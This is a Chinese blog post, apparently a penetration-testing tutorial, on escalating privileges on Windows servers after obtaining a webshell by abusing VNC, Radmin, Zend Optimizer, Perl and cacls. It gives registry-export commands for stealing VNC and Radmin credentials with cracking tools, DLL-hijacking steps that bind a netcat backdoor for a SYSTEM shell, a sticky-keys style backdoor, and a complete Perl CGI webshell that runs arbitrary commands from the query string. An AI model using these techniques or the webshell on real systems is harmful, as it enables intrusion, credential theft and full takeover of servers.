21.第三方软件提权(下)

0x01. VNC提权

这些第三方软件的提权也是建立在获取webshell的基础上

1.1 环境部署

双击安装vnc

image-20210129131258002

搭建环境的话 , vnc服务端和客户端都安装一下

image-20210129131529342

安装完成点击确定 , 设置连接密码 : 123456

image-20210129131755212

打开注册机 , 获取key : R8NLH-CQW8E-QMA7E-VQ3VQ-JCEJA

image-20210129131935384

粘贴进入 , 点击ok , 双击打开 , 测试连接

image-20210129132145790

只要是任意一台vnc的客户端 , 知道了这台服务器的ip以及连接的密码 , 都可以通过vnc客户端进行远程管理服务

器 , 具体的操作权限取决于vnc服务端中的options选项配置的参数

vnc端口号 : 5900

1.2 读取vnc密码

通过webshell自带的功能读取

image-20210129132819799

不一定能读的到 , 我这里测试就没有读到 , 哈哈哈哈 , 如果读不到可以尝试在菜刀终端执行以下命令

前提是你当前的webshell的权限是可以读取注册表的

Cmd /c "regedit /e c:\123.reg "HKEY_LOCAL_MACHINE\software\RealVNC\WinVNC4" "
        /c不回显     /e 导出注册表   具体导出的内容

image-20210129133348225

image-20210129133436887

下载到本地 , 并用记事本打开 , 然后用工具vncx4.exe破解密码

image-20210129133751147

命令 : 
vncx4.exe -W

image-20210129134152522

vnc的密码保存在注册表中 , 这个破解工具和密码的复杂度无关

0x02. Radmin提权

Radmin 是一款屡获殊荣的安全远程控制软件,详细介绍请查看官方网站: http://www.radmin.cn

这款软件非常不错 , 速度也快 , 既可以作为远程管理服务器的工具 , 也可以当做一个远程马 ,也是收费软件

2.1 Radmin安装

进入到radmin的文件夹下 , cmd下运行server.exe /setup

image-20210129134937507

设置密码 , 尴尬默认密码策略最少8位 , 新密码: 12345678

image-20210129135056405

设置参数 , 隐藏状态栏图标 , 默认端口 : 4899

image-20210129135355186

输入注册码 , 注册码在radmin文件下有

image-20210129135619769

点击安装服务 , 双击server.exe

image-20210129135723193

image-20210129135751687

2.2 测试连接

整个过程你在服务器上都察觉不到安装了radmin , 测试连接 , 双击radmin.exe连接

image-20210129140010855

image-20210129140134027

image-20210129140215988

右键有很多功能 , 文件管理 , 语音聊天 , 锁定键盘等等 , 就不一一演示了,

2.3 读取密码

前提是你当前的webshell的权限是可以读取注册表的

我们的重点是如何基于webshe如果对方服务器装了radmi , 我们如何拿到他的密码 , 通过webshell自带的功能读

取radmin密码

02BA5E187E2589BE6F80DA0046AA7E3C    注意这里大小写有问题

02ba5e187e2589be6f80da0046aa7e3c

image-20210129140831793

radmin的密码也是在注册表中 , 也可以通过命令导出 , 然后通过菜刀下载到本地

cmd /c "regedit /e c:\1234.reg "HKEY_LOCAL_MACHINE\system\RAdmin\v2.0\Server\""

然后通过cmd5网站解密 , 当然也有一个不错的办法 , 就是通过32位hash连接 , 这个需要特殊的radmin版本

Radmin_Hash.exe

image-20210129141125927

然后输入32hash值就可以连接了

0x03. Zend提权

当PHP网站搭建好之后 , 运维人员可能会安装一个Zend , 用来加速php的 , 一般服务器安装了Zend就算服务器

C:\Program Files\设置过权限,Zend会自动会把C:\Program Files\Zend\ZendOptimizer-3.3.0\下的目录权限

设为 Everyone 权限 , 这导致入侵者能写入文件

本质是利用的Zend的权限漏洞

3.1 安装PHPnow

因为phpstudy中没有Zend这个东东 , 所以才安装phpnow

别忘记前提是有了webshell , 为了试验方便 , 直接上传一个webshell

下载路径 : http://servkit.org/?from=phpnow.org

双击PnCp.cmd , 输入20, 启动服务 , 网站根目录为htdocs

http://192.168.1.108:8080/index.php

image-20210129142607229

菜刀连接一句话木马

image-20210129143707222

2.2 提权

具体步骤 :

1、通过webshell上传nc和cmd到远程服务器zendextensionmanager.dll目录
2、复制一份zendextensionmanager.dll重命名,把原有的zendextensionmanager.dll也改名,
     再通过Zend_DLL_Hijacking_for_nc.exe生成一个带后门的zendextensionmanager.dll上传到目标服务器

zendextensionmanager.dll目录

这是我的演示机的路径 C:\PHPnow\ZendOptimizer\

image-20210129150353848

image-20210129150518205

image-20210129150707482

3、重启apache加载 , 通过webshell运行PnCp.cmd
4、telnet ip  端口 登录目录服务器

image-20210129151103064

telnet 192.168.1.108 1234

image-20210129151342718

这样就可以在命令行操作对方的电脑了 , 还是system权限 , 这类似是一个软件绑定 , 我们把nc和dll和cmd三个绑

定在了一起 , 当apache重启的时候 , 就会启动zend加速 , 也会启动绑定的nc , 这样就实现了通过zend加速提权

0x04. Dll劫持提权

dll劫持是指可以劫持服务器操作系统中的任意exe文件 , 如qq ,微信 , 腾云会议等等 , 这个真不错

利用的本质就是当服务器运行劫持的exe文件后 , 也会运行我们的木马

4.1 生成劫持

image-20210129153325035

注意文件名只能是LPK.dll , 生成之后千万别再点那个exe文件了 , 要不然会在你本机生成后门 , 将文件通过菜刀

上传到服务器上 , 当有exe文件运行的时候 , 就会触发我们的后门运行

4.2 劫持步骤

因为要有exe运行 , 所以我在自己的环境中就自己双击exe运行 , 你最好放在会有exe运行的目录下

image-20210129154708521

通过3389连接服务器

image-20210129154807043

连续点击5次shift , 然后鼠标点击最后一个。(句号),同时按住AB键 , 输入密码

image-20210129155538624

image-20210129155402402

image-20210129155429206

image-20210129155448306

0x05. 启动项提权

这个方法和mysql中的那个启动项提权本质一样 , 就是把我们的木马写到启动项中 , 但是一般很难成功 , 因为普通

用户的权限是没办法写入到启动项的 , 如果有这样的权限 , 直接通过webshell传一个cs木马 , 然后运行 , 这样岂不

是更简单。所以你知道有这个方法 , 就不具体显示了 , 因为很难遇到

0x06. 服务替换提权

我们要修改的主要是随服务一起启动的程序,我们可以通过WebShell上的服务查看组件看到有哪些服务是在运行

的,有一个规律,就是不要找在WINDOWS目录或者程序目录下的文件,这两个目录是默为没有修改的权限的,

安装在其它目录的程序可被替换的成功率比较大 , 但是这个服务一般启动不成功 , 因为你破坏了服务 ,操作

系统就不会再启动了 , 很鸡肋 ,不是很好用 , 也不讲了 , 可以自行百度 。

0x07. Perl提权

Perl是一种最广泛应用于语法分析和 World Wide Web的编程语言。它起源于 awk、C、sh 和 sed 语言,然

而,它的应用开发远比其他任何一种面向对象编程语言更加容易。

PERL在默认安装时BIN目录是具有EVERYONE的完全控制权限和CGI执行权限的,所以能执行任意命令,这是一个

NTFS权限导至的提权漏洞。

#!/usr/bin/perlbinmode(STDOUT);syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);$_ = $ENV{QUERY_STRING};s/%20/ /ig;s/%2f/\//ig;$execthis = $_;syswrite(STDOUT, "\r\n", 13);open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";system($execthis);syswrite(STDOUT, "\r\n\r\n", 17);close(STDERR);close(STDOUT);exit;

0x08. Cacls命令在权限中的应用

有经验的管理员喜欢把首页文件设置IUSER用户没有写权限,用来防止被挂木马或者将NET.EXE、FTP.EXE等工具

设置不给IUSER用户使用权限,让我们无法用NET.exe、USER建帐号或FTP下载文件,我们可以利用Cacls 修改权限

后再正常使用。

cacls c:\index.asp /t /e /c /g interactive:f把index.asp加入interactive组并赋予完全控制权限(IIS的IUSER_用户

就在这一组中).这样就可以对index.asp任意编辑。

Cacls filename [/T] [/E] [/C] [/G usererm] [/R user [...]] [/P usererm [...]] [/D user [...]]Filename:显示访问控制列表(以下简称ACL)/T:更改当前目录及其所有子目录中指定文件的ACL/E:编辑ACL而不替换/C:在出现拒绝访问错误时继续 /G Userer:perm:赋予指定用户访问权限,Perm代表不同级别的访问权限,其值可以是R(读取)、W(写入)、C(更改,写入)、F(完全控制)等。/R user:撤销指定用户的访问权限,注意该参数仅在与“/E”一起使用时有效。/P user:perm:替换指定用户的访问权限,perm的含义同前,但增加了“N(无)”的选项。/D user:拒绝指定用户的访问

0x09. 总结

现在很多提权都是集中在cs中 , 因为有很多插件可以一键提权 , 一方便不用下载那么多的工具 , 而且很节约时间

posted @ 2021-12-22 22:48  Mn猿  阅读(307)  评论(0编辑  收藏  举报